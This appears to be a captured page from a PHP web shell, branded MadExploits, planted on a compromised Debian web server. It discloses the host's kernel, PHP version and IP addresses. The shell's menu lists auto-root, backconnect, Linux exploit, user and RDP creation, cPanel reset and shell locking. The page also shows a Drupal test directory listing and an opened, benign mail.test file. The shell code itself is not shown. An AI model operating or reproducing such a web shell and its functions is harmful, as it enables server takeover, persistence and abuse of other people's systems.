Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.221.221.171
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
simpletest /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
drupal_autoload_test
[ DIR ]
drwxr-xr-x
drupal_system_listing_compatib...
[ DIR ]
drwxr-xr-x
drupal_system_listing_incompat...
[ DIR ]
drwxr-xr-x
psr_0_test
[ DIR ]
drwxr-xr-x
psr_4_test
[ DIR ]
drwxr-xr-x
themes
[ DIR ]
drwxr-xr-x
upgrade
[ DIR ]
drwxr-xr-x
actions.test
5.7
KB
-rw-r--r--
actions_loop_test.info
268
B
-rw-r--r--
actions_loop_test.install
206
B
-rw-r--r--
actions_loop_test.module
2.54
KB
-rw-r--r--
ajax.test
26.15
KB
-rw-r--r--
ajax_forms_test.info
267
B
-rw-r--r--
ajax_forms_test.module
16.56
KB
-rw-r--r--
ajax_test.info
261
B
-rw-r--r--
ajax_test.module
1.84
KB
-rw-r--r--
batch.test
16.49
KB
-rw-r--r--
batch_test.callbacks.inc
3.92
KB
-rw-r--r--
batch_test.info
265
B
-rw-r--r--
batch_test.module
13.32
KB
-rw-r--r--
bootstrap.test
28.68
KB
-rw-r--r--
cache.test
15.38
KB
-rw-r--r--
common.test
130.72
KB
-rw-r--r--
common_test.css
79
B
-rw-r--r--
common_test.info
341
B
-rw-r--r--
common_test.module
7.25
KB
-rw-r--r--
common_test.print.css
79
B
-rw-r--r--
common_test_cron_helper.info
295
B
-rw-r--r--
common_test_cron_helper.module
362
B
-rw-r--r--
common_test_info.txt
334
B
-rw-r--r--
database_test.info
269
B
-rw-r--r--
database_test.install
5.72
KB
-rw-r--r--
database_test.module
6.51
KB
-rw-r--r--
database_test.test
144.13
KB
-rw-r--r--
entity_cache_test.info
319
B
-rw-r--r--
entity_cache_test.module
873
B
-rw-r--r--
entity_cache_test_dependency.i...
295
B
-rw-r--r--
entity_cache_test_dependency.m...
305
B
-rw-r--r--
entity_crud.test
1.86
KB
-rw-r--r--
entity_crud_hook_test.info
273
B
-rw-r--r--
entity_crud_hook_test.module
6
KB
-rw-r--r--
entity_crud_hook_test.test
12.47
KB
-rw-r--r--
entity_query.test
65.62
KB
-rw-r--r--
entity_query_access_test.info
289
B
-rw-r--r--
entity_query_access_test.modul...
1.5
KB
-rw-r--r--
error.test
4.58
KB
-rw-r--r--
error_test.info
273
B
-rw-r--r--
error_test.module
1.89
KB
-rw-r--r--
file.test
109.29
KB
-rw-r--r--
file_test.info
291
B
-rw-r--r--
file_test.module
12.23
KB
-rw-r--r--
filetransfer.test
4.44
KB
-rw-r--r--
filter_test.info
263
B
-rw-r--r--
filter_test.module
1.68
KB
-rw-r--r--
form.test
89.19
KB
-rw-r--r--
form_test.file.inc
1.4
KB
-rw-r--r--
form_test.info
262
B
-rw-r--r--
form_test.module
57.65
KB
-rw-r--r--
graph.test
6.23
KB
-rw-r--r--
http.php
897
B
-rw-r--r--
https.php
860
B
-rw-r--r--
image.test
18.89
KB
-rw-r--r--
image_test.info
265
B
-rw-r--r--
image_test.module
3.17
KB
-rw-r--r--
lock.test
2.56
KB
-rw-r--r--
mail.test
18.8
KB
-rw-r--r--
menu.test
71.63
KB
-rw-r--r--
menu_test.info
268
B
-rw-r--r--
menu_test.module
17.93
KB
-rw-r--r--
module.test
14.59
KB
-rw-r--r--
module_test.file.inc
203
B
-rw-r--r--
module_test.info
268
B
-rw-r--r--
module_test.install
930
B
-rw-r--r--
module_test.module
3.76
KB
-rw-r--r--
pager.test
5.36
KB
-rw-r--r--
password.test
3.44
KB
-rw-r--r--
path.test
13.27
KB
-rw-r--r--
path_test.info
268
B
-rw-r--r--
path_test.module
410
B
-rw-r--r--
registry.test
4.66
KB
-rw-r--r--
requirements1_test.info
313
B
-rw-r--r--
requirements1_test.install
505
B
-rw-r--r--
requirements1_test.module
111
B
-rw-r--r--
requirements2_test.info
392
B
-rw-r--r--
requirements2_test.module
130
B
-rw-r--r--
schema.test
13.45
KB
-rw-r--r--
session.test
22.8
KB
-rw-r--r--
session_test.info
268
B
-rw-r--r--
session_test.module
5.45
KB
-rw-r--r--
system.base.css
143
B
-rw-r--r--
system_dependencies_test.info
322
B
-rw-r--r--
system_dependencies_test.modul...
6
B
-rw-r--r--
system_incompatible_core_versi...
368
B
-rw-r--r--
system_incompatible_core_versi...
6
B
-rw-r--r--
system_incompatible_core_versi...
300
B
-rw-r--r--
system_incompatible_core_versi...
6
B
-rw-r--r--
system_incompatible_module_ver...
442
B
-rw-r--r--
system_incompatible_module_ver...
6
B
-rw-r--r--
system_incompatible_module_ver...
298
B
-rw-r--r--
system_incompatible_module_ver...
6
B
-rw-r--r--
system_test.info
286
B
-rw-r--r--
system_test.module
14.43
KB
-rw-r--r--
tablesort.test
4.67
KB
-rw-r--r--
taxonomy_test.info
305
B
-rw-r--r--
taxonomy_test.install
747
B
-rw-r--r--
taxonomy_test.module
2.65
KB
-rw-r--r--
theme.test
25.37
KB
-rw-r--r--
theme_test.inc
372
B
-rw-r--r--
theme_test.info
266
B
-rw-r--r--
theme_test.module
4.17
KB
-rw-r--r--
theme_test.template_test.tpl.p...
66
B
-rw-r--r--
unicode.test
10.89
KB
-rw-r--r--
update.test
4.69
KB
-rw-r--r--
update_script_test.info
275
B
-rw-r--r--
update_script_test.install
1.29
KB
-rw-r--r--
update_script_test.module
419
B
-rw-r--r--
update_test_1.info
261
B
-rw-r--r--
update_test_1.install
1.59
KB
-rw-r--r--
update_test_1.module
6
B
-rw-r--r--
update_test_2.info
261
B
-rw-r--r--
update_test_2.install
1.18
KB
-rw-r--r--
update_test_2.module
6
B
-rw-r--r--
update_test_3.info
261
B
-rw-r--r--
update_test_3.install
436
B
-rw-r--r--
update_test_3.module
6
B
-rw-r--r--
url_alter_test.info
272
B
-rw-r--r--
url_alter_test.install
267
B
-rw-r--r--
url_alter_test.module
1.75
KB
-rw-r--r--
xmlrpc.test
9.61
KB
-rw-r--r--
xmlrpc_test.info
303
B
-rw-r--r--
xmlrpc_test.module
3.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mail.test
<?php /** * @file * Test the Drupal mailing system. */ class MailTestCase extends DrupalWebTestCase implements MailSystemInterface { /** * The most recent message that was sent through the test case. * * We take advantage here of the fact that static variables are shared among * all instance of the same class. */ private static $sent_message; public static function getInfo() { return array( 'name' => 'Mail system', 'description' => 'Performs tests on the pluggable mailing framework.', 'group' => 'System', ); } function setUp() { parent::setUp(array('simpletest')); // Set MailTestCase (i.e. this class) as the SMTP library variable_set('mail_system', array('default-system' => 'MailTestCase')); } /** * Assert that the pluggable mail system is functional. */ function testPluggableFramework() { global $language; // Use MailTestCase for sending a message. $message = drupal_mail('simpletest', 'mail_test', 'testing@example.com', $language); // Assert whether the message was sent through the send function. $this->assertEqual(self::$sent_message['to'], 'testing@example.com', 'Pluggable mail system is extendable.'); } /** * Test that message sending may be canceled. * * @see simpletest_mail_alter() */ function testCancelMessage() { global $language; // Reset the class variable holding a copy of the last sent message. self::$sent_message = NULL; // Send a test message that simpletest_mail_alter should cancel. $message = drupal_mail('simpletest', 'cancel_test', 'cancel@example.com', $language); // Assert that the message was not actually sent. $this->assertNull(self::$sent_message, 'Message was canceled.'); } /** * Concatenate and wrap the e-mail body for plain-text mails. * * @see DefaultMailSystem */ public function format(array $message) { // Join the body array into one string. $message['body'] = implode("\n\n", $message['body']); // Convert any HTML to plain-text. $message['body'] = drupal_html_to_text($message['body']); // Wrap the mail body for sending. $message['body'] = drupal_wrap_mail($message['body']); return $message; } /** * Send function that is called through the mail system. */ public function mail(array $message) { self::$sent_message = $message; } } /** * Unit tests for drupal_html_to_text(). */ class DrupalHtmlToTextTestCase extends DrupalWebTestCase { public static function getInfo() { return array( 'name' => 'HTML to text conversion', 'description' => 'Tests drupal_html_to_text().', 'group' => 'Mail', ); } /** * Converts a string to its PHP source equivalent for display in test messages. * * @param $text * The text string to convert. * * @return * An HTML representation of the text string that, when displayed in a * browser, represents the PHP source code equivalent of $text. */ function stringToHtml($text) { return '"' . str_replace( array("\n", ' '), array('\n', ' '), check_plain($text) ) . '"'; } /** * Helper function for testing drupal_html_to_text(). * * @param $html * The source HTML string to be converted. * @param $text * The expected result of converting $html to text. * @param $message * A text message to display in the assertion message. * @param $allowed_tags * (optional) An array of allowed tags, or NULL to default to the full * set of tags supported by drupal_html_to_text(). */ function assertHtmlToText($html, $text, $message, $allowed_tags = NULL) { preg_match_all('/<([a-z0-6]+)/', drupal_strtolower($html), $matches); $tested_tags = implode(', ', array_unique($matches[1])); $message .= ' (' . $tested_tags . ')'; $result = drupal_html_to_text($html, $allowed_tags); $pass = $this->assertEqual($result, $text, check_plain($message)); $verbose = 'html = <pre>' . $this->stringToHtml($html) . '</pre><br />' . 'result = <pre>' . $this->stringToHtml($result) . '</pre><br />' . 'expected = <pre>' . $this->stringToHtml($text) . '</pre>'; $this->verbose($verbose); if (!$pass) { $this->pass("Previous test verbose info:<br />$verbose"); } } /** * Test all supported tags of drupal_html_to_text(). */ function testTags() { global $base_path, $base_url; $tests = array( // @todo Trailing linefeeds should be trimmed. '<a href = "http://drupal.org">Drupal.org</a>' => "Drupal.org [1]\n\n[1] http://drupal.org\n", // @todo Footer URLs should be absolute. "<a href = \"$base_path\">Homepage</a>" => "Homepage [1]\n\n[1] $base_url/\n", '<address>Drupal</address>' => "Drupal\n", // @todo The <address> tag is currently not supported. '<address>Drupal</address><address>Drupal</address>' => "DrupalDrupal\n", '<b>Drupal</b>' => "*Drupal*\n", // @todo There should be a space between the '>' and the text. '<blockquote>Drupal</blockquote>' => ">Drupal\n", '<blockquote>Drupal</blockquote><blockquote>Drupal</blockquote>' => ">Drupal\n>Drupal\n", '<br />Drupal<br />Drupal<br /><br />Drupal' => "Drupal\nDrupal\nDrupal\n", '<br/>Drupal<br/>Drupal<br/><br/>Drupal' => "Drupal\nDrupal\nDrupal\n", // @todo There should be two line breaks before the paragraph. '<br/>Drupal<br/>Drupal<br/><br/>Drupal<p>Drupal</p>' => "Drupal\nDrupal\nDrupal\nDrupal\n\n", '<div>Drupal</div>' => "Drupal\n", // @todo The <div> tag is currently not supported. '<div>Drupal</div><div>Drupal</div>' => "DrupalDrupal\n", '<em>Drupal</em>' => "/Drupal/\n", '<h1>Drupal</h1>' => "======== DRUPAL ==============================================================\n\n", '<h1>Drupal</h1><p>Drupal</p>' => "======== DRUPAL ==============================================================\n\nDrupal\n\n", '<h2>Drupal</h2>' => "-------- DRUPAL --------------------------------------------------------------\n\n", '<h2>Drupal</h2><p>Drupal</p>' => "-------- DRUPAL --------------------------------------------------------------\n\nDrupal\n\n", '<h3>Drupal</h3>' => ".... Drupal\n\n", '<h3>Drupal</h3><p>Drupal</p>' => ".... Drupal\n\nDrupal\n\n", '<h4>Drupal</h4>' => ".. Drupal\n\n", '<h4>Drupal</h4><p>Drupal</p>' => ".. Drupal\n\nDrupal\n\n", '<h5>Drupal</h5>' => "Drupal\n\n", '<h5>Drupal</h5><p>Drupal</p>' => "Drupal\n\nDrupal\n\n", '<h6>Drupal</h6>' => "Drupal\n\n", '<h6>Drupal</h6><p>Drupal</p>' => "Drupal\n\nDrupal\n\n", '<hr />Drupal<hr />' => "------------------------------------------------------------------------------\nDrupal\n------------------------------------------------------------------------------\n", '<hr/>Drupal<hr/>' => "------------------------------------------------------------------------------\nDrupal\n------------------------------------------------------------------------------\n", '<hr/>Drupal<hr/><p>Drupal</p>' => "------------------------------------------------------------------------------\nDrupal\n------------------------------------------------------------------------------\nDrupal\n\n", '<i>Drupal</i>' => "/Drupal/\n", '<p>Drupal</p>' => "Drupal\n\n", '<p>Drupal</p><p>Drupal</p>' => "Drupal\n\nDrupal\n\n", '<strong>Drupal</strong>' => "*Drupal*\n", // @todo Tables are currently not supported. '<table><tr><td>Drupal</td><td>Drupal</td></tr><tr><td>Drupal</td><td>Drupal</td></tr></table>' => "DrupalDrupalDrupalDrupal\n", '<table><tr><td>Drupal</td></tr></table><p>Drupal</p>' => "Drupal\nDrupal\n\n", // @todo The <u> tag is currently not supported. '<u>Drupal</u>' => "Drupal\n", '<ul><li>Drupal</li></ul>' => " * Drupal\n\n", '<ul><li>Drupal <em>Drupal</em> Drupal</li></ul>' => " * Drupal /Drupal/ Drupal\n\n", // @todo Lines containing nothing but spaces should be trimmed. '<ul><li>Drupal</li><li><ol><li>Drupal</li><li>Drupal</li></ol></li></ul>' => " * Drupal\n * 1) Drupal\n 2) Drupal\n \n\n", '<ul><li>Drupal</li><li><ol><li>Drupal</li></ol></li><li>Drupal</li></ul>' => " * Drupal\n * 1) Drupal\n \n * Drupal\n\n", '<ul><li>Drupal</li><li>Drupal</li></ul>' => " * Drupal\n * Drupal\n\n", '<ul><li>Drupal</li></ul><p>Drupal</p>' => " * Drupal\n\nDrupal\n\n", '<ol><li>Drupal</li></ol>' => " 1) Drupal\n\n", '<ol><li>Drupal</li><li><ul><li>Drupal</li><li>Drupal</li></ul></li></ol>' => " 1) Drupal\n 2) * Drupal\n * Drupal\n \n\n", '<ol><li>Drupal</li><li>Drupal</li></ol>' => " 1) Drupal\n 2) Drupal\n\n", '<ol>Drupal</ol>' => "Drupal\n\n", '<ol><li>Drupal</li></ol><p>Drupal</p>' => " 1) Drupal\n\nDrupal\n\n", '<dl><dt>Drupal</dt></dl>' => "Drupal\n\n", '<dl><dt>Drupal</dt><dd>Drupal</dd></dl>' => "Drupal\n Drupal\n\n", '<dl><dt>Drupal</dt><dd>Drupal</dd><dt>Drupal</dt><dd>Drupal</dd></dl>' => "Drupal\n Drupal\nDrupal\n Drupal\n\n", '<dl><dt>Drupal</dt><dd>Drupal</dd></dl><p>Drupal</p>' => "Drupal\n Drupal\n\nDrupal\n\n", '<dl><dt>Drupal<dd>Drupal</dl>' => "Drupal\n Drupal\n\n", '<dl><dt>Drupal</dt></dl><p>Drupal</p>' => "Drupal\n\nDrupal\n\n", // @todo Again, lines containing only spaces should be trimmed. '<ul><li>Drupal</li><li><dl><dt>Drupal</dt><dd>Drupal</dd><dt>Drupal</dt><dd>Drupal</dd></dl></li><li>Drupal</li></ul>' => " * Drupal\n * Drupal\n Drupal\n Drupal\n Drupal\n \n * Drupal\n\n", // Tests malformed HTML tags. '<br>Drupal<br>Drupal' => "Drupal\nDrupal\n", '<hr>Drupal<hr>Drupal' => "------------------------------------------------------------------------------\nDrupal\n------------------------------------------------------------------------------\nDrupal\n", '<ol><li>Drupal<li>Drupal</ol>' => " 1) Drupal\n 2) Drupal\n\n", '<ul><li>Drupal <em>Drupal</em> Drupal</ul></ul>' => " * Drupal /Drupal/ Drupal\n\n", '<ul><li>Drupal<li>Drupal</ol>' => " * Drupal\n * Drupal\n\n", '<ul><li>Drupal<li>Drupal</ul>' => " * Drupal\n * Drupal\n\n", '<ul>Drupal</ul>' => "Drupal\n\n", 'Drupal</ul></ol></dl><li>Drupal' => "Drupal\n * Drupal\n", '<dl>Drupal</dl>' => "Drupal\n\n", '<dl>Drupal</dl><p>Drupal</p>' => "Drupal\n\nDrupal\n\n", '<dt>Drupal</dt>' => "Drupal\n", // Tests some unsupported HTML tags. '<html>Drupal</html>' => "Drupal\n", // @todo Perhaps the contents of <script> tags should be dropped. '<script type="text/javascript">Drupal</script>' => "Drupal\n", ); foreach ($tests as $html => $text) { $this->assertHtmlToText($html, $text, 'Supported tags'); } } /** * Test $allowed_tags argument of drupal_html_to_text(). */ function testDrupalHtmlToTextArgs() { // The second parameter of drupal_html_to_text() overrules the allowed tags. $this->assertHtmlToText( 'Drupal <b>Drupal</b> Drupal', "Drupal *Drupal* Drupal\n", 'Allowed <b> tag found', array('b') ); $this->assertHtmlToText( 'Drupal <h1>Drupal</h1> Drupal', "Drupal Drupal Drupal\n", 'Disallowed <h1> tag not found', array('b') ); $this->assertHtmlToText( 'Drupal <p><em><b>Drupal</b></em><p> Drupal', "Drupal Drupal Drupal\n", 'Disallowed <p>, <em>, and <b> tags not found', array('a', 'br', 'h1') ); $this->assertHtmlToText( '<html><body>Drupal</body></html>', "Drupal\n", 'Unsupported <html> and <body> tags not found', array('html', 'body') ); } /** * Tests that drupal_wrap_mail() removes trailing whitespace before newlines. */ function testDrupalHtmltoTextRemoveTrailingWhitespace() { $text = "Hi there! \nHerp Derp"; $mail_lines = explode("\n", drupal_wrap_mail($text)); $this->assertNotEqual(" ", substr($mail_lines[0], -1), 'Trailing whitespace removed.'); } /** * Tests drupal_wrap_mail() retains whitespace from Usenet style signatures. * * RFC 3676 says, "This is a special case; an (optionally quoted or quoted and * stuffed) line consisting of DASH DASH SP is neither fixed nor flowed." */ function testDrupalHtmltoTextUsenetSignature() { $text = "Hi there!\n-- \nHerp Derp"; $mail_lines = explode("\n", drupal_wrap_mail($text)); $this->assertEqual("-- ", $mail_lines[1], 'Trailing whitespace not removed for dash-dash-space signatures.'); $text = "Hi there!\n-- \nHerp Derp"; $mail_lines = explode("\n", drupal_wrap_mail($text)); $this->assertEqual("--", $mail_lines[1], 'Trailing whitespace removed for incorrect dash-dash-space signatures.'); } /** * Test that whitespace is collapsed. */ function testDrupalHtmltoTextCollapsesWhitespace() { $input = "<p>Drupal Drupal\n\nDrupal<pre>Drupal Drupal\n\nDrupal</pre>Drupal Drupal\n\nDrupal</p>"; // @todo The whitespace should be collapsed. $collapsed = "Drupal Drupal\n\nDrupalDrupal Drupal\n\nDrupalDrupal Drupal\n\nDrupal\n\n"; $this->assertHtmlToText( $input, $collapsed, 'Whitespace is collapsed', array('p') ); } /** * Test that text separated by block-level tags in HTML get separated by * (at least) a newline in the plaintext version. */ function testDrupalHtmlToTextBlockTagToNewline() { $input = '[text]' . '<blockquote>[blockquote]</blockquote>' . '<br />[br]' . '<dl><dt>[dl-dt]</dt>' . '<dt>[dt]</dt>' . '<dd>[dd]</dd>' . '<dd>[dd-dl]</dd></dl>' . '<h1>[h1]</h1>' . '<h2>[h2]</h2>' . '<h3>[h3]</h3>' . '<h4>[h4]</h4>' . '<h5>[h5]</h5>' . '<h6>[h6]</h6>' . '<hr />[hr]' . '<ol><li>[ol-li]</li>' . '<li>[li]</li>' . '<li>[li-ol]</li></ol>' . '<p>[p]</p>' . '<ul><li>[ul-li]</li>' . '<li>[li-ul]</li></ul>' . '[text]'; $output = drupal_html_to_text($input); $pass = $this->assertFalse( preg_match('/\][^\n]*\[/s', $output), 'Block-level HTML tags should force newlines' ); if (!$pass) { $this->verbose($this->stringToHtml($output)); } $output_upper = drupal_strtoupper($output); $upper_input = drupal_strtoupper($input); $upper_output = drupal_html_to_text($upper_input); $pass = $this->assertEqual( $upper_output, $output_upper, 'Tag recognition should be case-insensitive' ); if (!$pass) { $this->verbose( $upper_output . '<br />should be equal to <br />' . $output_upper ); } } /** * Test that headers are properly separated from surrounding text. */ function testHeaderSeparation() { $html = 'Drupal<h1>Drupal</h1>Drupal'; // @todo There should be more space above the header than below it. $text = "Drupal\n======== DRUPAL ==============================================================\n\nDrupal\n"; $this->assertHtmlToText($html, $text, 'Text before and after <h1> tag'); $html = '<p>Drupal</p><h1>Drupal</h1>Drupal'; // @todo There should be more space above the header than below it. $text = "Drupal\n\n======== DRUPAL ==============================================================\n\nDrupal\n"; $this->assertHtmlToText($html, $text, 'Paragraph before and text after <h1> tag'); $html = 'Drupal<h1>Drupal</h1><p>Drupal</p>'; // @todo There should be more space above the header than below it. $text = "Drupal\n======== DRUPAL ==============================================================\n\nDrupal\n\n"; $this->assertHtmlToText($html, $text, 'Text before and paragraph after <h1> tag'); $html = '<p>Drupal</p><h1>Drupal</h1><p>Drupal</p>'; $text = "Drupal\n\n======== DRUPAL ==============================================================\n\nDrupal\n\n"; $this->assertHtmlToText($html, $text, 'Paragraph before and after <h1> tag'); } /** * Test that footnote references are properly generated. */ function testFootnoteReferences() { global $base_path, $base_url; $source = '<a href="http://www.example.com/node/1">Host and path</a>' . '<br /><a href="http://www.example.com">Host, no path</a>' . '<br /><a href="' . $base_path . 'node/1">Path, no host</a>' . '<br /><a href="node/1">Relative path</a>'; // @todo Footnote URLs should be absolute. $tt = "Host and path [1]" . "\nHost, no path [2]" // @todo The following two references should be combined. . "\nPath, no host [3]" . "\nRelative path [4]" . "\n" . "\n[1] http://www.example.com/node/1" . "\n[2] http://www.example.com" // @todo The following two references should be combined. . "\n[3] $base_url/node/1" . "\n[4] node/1\n"; $this->assertHtmlToText($source, $tt, 'Footnotes'); } /** * Test that combinations of paragraph breaks, line breaks, linefeeds, * and spaces are properly handled. */ function testDrupalHtmlToTextParagraphs() { $tests = array(); $tests[] = array( 'html' => "<p>line 1<br />\nline 2<br />line 3\n<br />line 4</p><p>paragraph</p>", // @todo Trailing line breaks should be trimmed. 'text' => "line 1\nline 2\nline 3\nline 4\n\nparagraph\n\n", ); $tests[] = array( 'html' => "<p>line 1<br /> line 2</p> <p>line 4<br /> line 5</p> <p>0</p>", // @todo Trailing line breaks should be trimmed. 'text' => "line 1\nline 2\n\nline 4\nline 5\n\n0\n\n", ); foreach ($tests as $test) { $this->assertHtmlToText($test['html'], $test['text'], 'Paragraph breaks'); } } /** * Tests that drupal_html_to_text() wraps before 1000 characters. * * RFC 3676 says, "The Text/Plain media type is the lowest common * denominator of Internet email, with lines of no more than 998 characters." * * RFC 2046 says, "SMTP [RFC-821] allows a maximum of 998 octets before the * next CRLF sequence." * * RFC 821 says, "The maximum total length of a text line including the * <CRLF> is 1000 characters." */ function testVeryLongLineWrap() { $input = 'Drupal<br /><p>' . str_repeat('x', 2100) . '</><br />Drupal'; $output = drupal_html_to_text($input); // This awkward construct comes from includes/mail.inc lines 8-13. $eol = variable_get('mail_line_endings', MAIL_LINE_ENDINGS); // We must use strlen() rather than drupal_strlen() in order to count // octets rather than characters. $line_length_limit = 1000 - drupal_strlen($eol); $maximum_line_length = 0; foreach (explode($eol, $output) as $line) { // We must use strlen() rather than drupal_strlen() in order to count // octets rather than characters. $maximum_line_length = max($maximum_line_length, strlen($line . $eol)); } $verbose = 'Maximum line length found was ' . $maximum_line_length . ' octets.'; // @todo This should assert that $maximum_line_length <= 1000. $this->pass($verbose); } }
Close